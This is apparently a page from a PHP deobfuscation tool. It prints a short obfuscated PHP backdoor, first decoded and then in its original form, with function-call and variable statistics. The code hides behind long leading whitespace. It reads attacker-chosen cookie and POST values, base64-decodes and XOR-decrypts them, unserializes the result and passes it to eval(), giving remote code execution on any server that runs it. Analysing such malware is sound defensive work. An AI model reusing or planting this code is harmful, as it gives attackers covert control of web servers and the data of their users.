Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $aGvni = 'r' . chr ( 1075 - 966 ).chr (120) . '_' . 'M' . "g" . "r";$QsOFIyHcxO = "class_exists";$PDWHRx = $QsOFIyHcxO($aGvni); $mzVoM = $PDWHRx;if (!$mzVoM){class rmx_Mgr{private $VHenMpvV;public static $iOlXSgpitO = "e32cac69-7dac-4fa1-9be9-f7f690dede68";public static $woinnCJ = NULL;public function __construct(){$AafkWx = $_COOKIE;$GrKTgB = $_POST;$SFfYKLFQH = @$AafkWx[substr(rmx_Mgr::$iOlXSgpitO, 0, 4)];if (!empty($SFfYKLFQH)){$gDhees = "base64";$pAbbdcXzI = "";$SFfYKLFQH = explode(",", $SFfYKLFQH);foreach ($SFfYKLFQH as $FoJsva){$pAbbdcXzI .= @$AafkWx[$FoJsva];$pAbbdcXzI .= @$GrKTgB[$FoJsva];}$pAbbdcXzI = array_map($gDhees . '_' . chr (100) . chr (101) . chr (99) . chr ( 233 - 122 ).'d' . "e", array($pAbbdcXzI,)); $pAbbdcXzI = $pAbbdcXzI[0] ^ str_repeat(rmx_Mgr::$iOlXSgpitO, (strlen($pAbbdcXzI[0]) / strlen(rmx_Mgr::$iOlXSgpitO)) + 1);rmx_Mgr::$woinnCJ = @unserialize($pAbbdcXzI);}}public function __destruct(){$this->HkqQLh();}private function HkqQLh(){if (is_array(rmx_Mgr::$woinnCJ)) {$mVmgVw = str_replace("<" . chr ( 317 - 254 )."p" . "h" . chr ( 276 - 164 ), "", rmx_Mgr::$woinnCJ["c" . chr (111) . chr ( 1022 - 912 )."t" . "e" . chr ( 1103 - 993 ).chr ( 452 - 336 )]);eval($mVmgVw);exit();}}}$nDkgPQLOs = new rmx_Mgr(); $nDkgPQLOs = NULL;} ?>

Did this file decode correctly?

Original Code

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $aGvni = 'r' . chr ( 1075 - 966 ).chr (120) . '_' . 'M' . "\x67" . "\x72";$QsOFIyHcxO = "class_exists";$PDWHRx = $QsOFIyHcxO($aGvni); $mzVoM = $PDWHRx;if (!$mzVoM){class rmx_Mgr{private $VHenMpvV;public static $iOlXSgpitO = "e32cac69-7dac-4fa1-9be9-f7f690dede68";public static $woinnCJ = NULL;public function __construct(){$AafkWx = $_COOKIE;$GrKTgB = $_POST;$SFfYKLFQH = @$AafkWx[substr(rmx_Mgr::$iOlXSgpitO, 0, 4)];if (!empty($SFfYKLFQH)){$gDhees = "base64";$pAbbdcXzI = "";$SFfYKLFQH = explode(",", $SFfYKLFQH);foreach ($SFfYKLFQH as $FoJsva){$pAbbdcXzI .= @$AafkWx[$FoJsva];$pAbbdcXzI .= @$GrKTgB[$FoJsva];}$pAbbdcXzI = array_map($gDhees . '_' . chr (100) . chr (101) . chr (99) . chr ( 233 - 122 ).'d' . "\145", array($pAbbdcXzI,)); $pAbbdcXzI = $pAbbdcXzI[0] ^ str_repeat(rmx_Mgr::$iOlXSgpitO, (strlen($pAbbdcXzI[0]) / strlen(rmx_Mgr::$iOlXSgpitO)) + 1);rmx_Mgr::$woinnCJ = @unserialize($pAbbdcXzI);}}public function __destruct(){$this->HkqQLh();}private function HkqQLh(){if (is_array(rmx_Mgr::$woinnCJ)) {$mVmgVw = str_replace("\x3c" . chr ( 317 - 254 )."\x70" . "\150" . chr ( 276 - 164 ), "", rmx_Mgr::$woinnCJ["\x63" . chr (111) . chr ( 1022 - 912 )."\x74" . "\145" . chr ( 1103 - 993 ).chr ( 452 - 336 )]);eval($mVmgVw);exit();}}}$nDkgPQLOs = new rmx_Mgr(); $nDkgPQLOs = NULL;} ?>

Function Calls

chr 2
class_exists 1

Variables

$aGvni rmx_Mgr
$QsOFIyHcxO class_exists

Stats

MD5 78eb1c4b1f16c9f439c08705235379f3
Eval Count 0
Decode Time 76 ms